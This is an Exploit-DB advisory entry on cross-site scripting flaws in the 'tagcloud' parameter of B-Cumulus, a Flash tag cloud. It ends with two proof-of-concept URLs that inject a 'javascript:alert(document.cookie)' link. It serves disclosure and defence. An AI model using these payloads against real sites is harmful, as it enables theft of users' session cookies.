B-Cumulus 'tagcloud' Parameter Multiple Cross-Site Scripting Vulnerabilities

2011-01-18T00:00:00
ID EDB-ID:35233
Type exploitdb
Reporter MustLive
Modified 2011-01-18T00:00:00

Description

B-Cumulus 'tagcloud' Parameter Multiple Cross-Site Scripting Vulnerabilities. Webapps exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/45911/info

B-Cumulus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://www.example.com/path/tagcloud-ru.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E